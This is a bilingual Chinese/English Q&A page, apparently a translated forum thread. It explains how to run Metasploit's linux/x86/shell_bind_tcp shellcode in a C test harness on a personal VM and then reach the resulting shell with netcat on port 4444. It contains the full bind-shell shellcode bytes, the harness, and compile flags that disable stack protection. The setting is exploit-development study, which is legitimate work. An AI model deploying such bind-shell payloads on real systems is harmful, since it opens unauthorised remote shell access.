问题描述
我正在沙盒C程序中运行Metasploit有效负载.
I'm running a Metasploit payload in a sandbox c program.
下面是感兴趣的有效负载的摘要.从那里我生成一些shellcode并将其加载到我的沙箱中，但是当我运行它时，程序将只是等待.我认为这是因为它正在等待连接发送外壳程序，但是我不确定.
Below is a summary of the payload of interest. From there I generate some shellcode and load it up in my sandbox, but when I run it the program will simply wait. I think this is because it's waiting for a connection to send the shell, but I'm not sure.
我怎么去:
- 生成shellcode
- 将其加载到我的沙箱中
- 成功获得一个
/bin/sh外壳<-这是我被卡住的部分.
- Generating shellcode
- Loading it into my sandbox
- Successfully get a
/bin/shshell <- this is the part I'm stuck on.
基本设置:
max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S
[sudo] password for max:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 200
Rank: Normal
Provided by:
Ramon de C Valle <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
生成shellcode:
Generating shellcode:
max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
具有shellcode的沙盒程序:
Sandbox program with shellcode:
#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
*/
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
编译并运行.但是，这是我不确定如何获取/bin/sh shell的地方:
Compile and run. However, this is where I'm not sure how to get a /bin/sh shell:
max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
(program waiting here...waiting for a connection?)
在第一终端中，我运行我的shellcode程序:
In terminal one I run my shellcode program:
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
现在在第二终端中，我检查tcp侦听器.给出-n来抑制主机名解析，给出-t代表tcp，给出-l代表侦听器，并给出-p来查看程序名称.
Now in terminal two, I check for tcp listeners. Giving -n to suppress host name resolution, -t for tcp, -l for listeners, and -p to see the program names.
我可以在端口4444上看到shellcode程序:
I can see the shellcode program on port 4444:
max@ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 14885/shellcode
max@ubuntu-vm:~$
连接到telnet，似乎成功了，但仍然没有sh shell.
Connecting with telnet, and it seems like it was successful but still no sh shell.
max@ubuntu-vm:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
如何获得sh外壳?
推荐答案
生成shellcode，进行编译并运行:
Generate shellcode, compile and run:
max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
现在，在端子2中.检查连接情况，最后使用netcat连接.请注意，$不会出现，但是外壳仍然存在:
Now, in terminal 2. Check for connections and finally connect using netcat. Note, that the $ doesn't appear but the shell is still there:
max@ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3326/shellcode
max@ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max 591 Jan 2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max 591 Jan 2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max 471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max 471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max 442 Jan 2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max 442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max 139 Dec 27 08:18 compile.sh
这篇关于如何独立运行linux/x86/shell_bind_tcp有效负载?的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持！